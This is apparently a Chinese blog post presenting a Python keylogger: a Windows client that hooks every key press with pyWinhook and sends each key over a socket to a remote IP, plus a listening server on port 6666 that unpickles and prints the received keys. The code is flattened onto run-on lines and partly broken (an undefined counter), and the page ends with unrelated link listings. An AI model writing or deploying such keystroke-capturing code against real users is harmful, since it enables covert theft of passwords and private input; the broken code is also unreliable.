python实现监听键盘


实现服务端
import pickle
from io import BytesIO
import socket#接收数据
def Server_Recive(ip,port):socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket_obj.bind((ip,port))socket_obj.listen(5)file = 1while True:connection,address = socket_obj.accept()#接受的数据recieved_message = b''recieved_message_fragment = connection.recv(1024)while recieved_message_fragment:recieved_message += recieved_message_fragmentrecieved_message_fragment = connection.recv(1024)try:obj = pickle.loads(recieved_message)print(obj['Key'],end=' ')except EOFError:file_name = 'recv_image_' + str(file_on) + '.bmp'recv_image = open(file_name,'wb')recv_image.write(recieved_message)file_on += 1connection.close()if __name__ == '__main__':Server_IP = '0.0.0.0'Server_Port = 6666Server_Recive(Server_IP,Server_Port)
键盘监听程序
#键盘监听import pythoncom,pyWinhook,pickle,socket
from io import BytesIOdef Client_PIC(ip,port,obj):try:msg = pickle.dumps(obj)send_message = BytesIO(msg)send_message_fragment = send_message.read(1024)except:send_message = objsend_message_fragment = send_message.read(1024)socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)socket_obj.connect((ip,port))while send_message_fragment:socket_obj.send(send_message_fragment)send_message_fragment = send_message.read(1024)socket_obj.close()def OnkeyBoardEvent(event):dict_key = {}dict_key['MessageName'] = event.MessageNamedict_key['Key'] = event.KeyClient_PIC('你自己的ip地址',6666,dict_key)return Truedef Keylogger():hm = pyWinhook.HookManager()hm.KeyDown = OnkeyBoardEventhm.HookKeyboard()pythoncom.PumpMessages()if __name__ == '__main__':Keylogger()  

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述


运行(先运行服务端,而后运行监听程序)

python实现监听键盘相关推荐

  1. python hook技术,python hook监听事件详解

    本文实例为大家分享了python hook监听事件的具体代码,供大家参考,具体内容如下 # -*- coding: utf-8 -*- # # by oldj http://oldj.net/ # i ...

  2. vue监听键盘Esc事件

    mounted() {//监听键盘Esc按键事件let self = this;this.$nextTick(function() {document.addEventListener('keydow ...

  3. python麦克风监听_python实时监听麦克风

    首先安装pyaudio 到官网下载pa_stable_v190600_20161030.tgz (←或者直接点击下载) 2, 下载之后解压进入文件夹 3, 在文件夹下打开命令行输入以下命令 conda ...

  4. 多处使用window监听键盘,只有一处生效

    多处使用window监听键盘,只有一处生效: mounted() {window.onkeydown = (e) => {this.handleKeyDown(e)} } 使用的地方改为: mo ...

  5. python鼠标监听_用Python监听鼠标和键盘事件

    PyHook是一个基于Python的"钩子"库,主要用于监听当前电脑上鼠标和键盘的事件.这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在W ...

  6. python pyhook监听扫码_Python——pyHook监听鼠标键盘事件

    pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...

  7. python socket监听端口_Python 用socket模块实现检测端口和检测web服务

    检测端口 check_tcp_port.py #!/usr/bin/env python import socket import re import sys def check_server(add ...

  8. 群聊太多?三步教你用 Python 自动监听转发群消息

    作者 | 猪哥 责编 | 伍杏玲 随着微信社交的兴起,我们加入的群也越来越多,一个不经意就被拉入好几个群,群是大家协同交流的平台,但是微信群却越来越泛滥,不知道大家有没有统计过自己浪费在毫无营养的群中 ...

  9. 用Python机器人监听微信群聊

    随着微信社交的兴起,我们加入的群也越来越多,一个不经意就被拉入好几个群,群是大家协同交流的平台,但是微信群却越来越泛滥,不知道大家有没有统计过自己浪费在毫无营养的群中的时间? 因为群质量太低或者群太吵 ...

最新文章

  1. Symfony3.0 实践教程 (三) 安装与配置Symfony
  2. 方法到位,Linux也不难学会
  3. 拆解交易系统--异地多活
  4. gitlab新增ssh
  5. minute教会你shell
  6. spring编程式事务控制
  7. poj3685 二分套二分
  8. 地铁上怎么那么多钢管女郎?
  9. mysql like n_MySQL LIKE 子句
  10. Android深度探索(卷1)HAL与驱动开发学习笔记(8)
  11. 用例不全,质量如何保证?
  12. Jquery.EasyUI datebox控件
  13. 《现代操作系统(中文第四版)》课后习题答案 第一章 引论
  14. 强烈推荐12套开源微信小程序免费源码
  15. torch.optim
  16. jQ知识补全(供已经入门jq开发者)
  17. 丽博版魔都家居图鉴:如何住进《三十而已》的精致家
  18. 解决WPS每点击一下保存,就会出现tmp文件
  19. 使用Ultra Librarian生成Cadence Allegro的PCB封装库和OrCAD Capture CIS的原理图库
  20. [机缘参悟-31]:鬼谷子-抵巇[xī]篇-危机是危险与机会并存

热门文章

  1. 立创开源丨基于GD32E230C8T6芯片的开发评估板
  2. 在电脑上体验了 16 款手机 App 后,我很失望
  3. 台式计算机各种接口的名称,值得收藏的电脑接口大全(图文版)
  4. mysql五种查询句子和作用_MYSQL
  5. 操作系统-吸烟者问题(C++信号量实现)
  6. Enigma加解密算法实现C++
  7. [设计模式]单例模式的几种不同写法比较
  8. 搭建 Go 语言开发环境
  9. 【精品,你所不知道的IT高薪】【转贴】清华生7天猎头生活的发现!
  10. 为什么java缩进不能tab_为什么代码缩进时必须要用 Tab 而不能用空格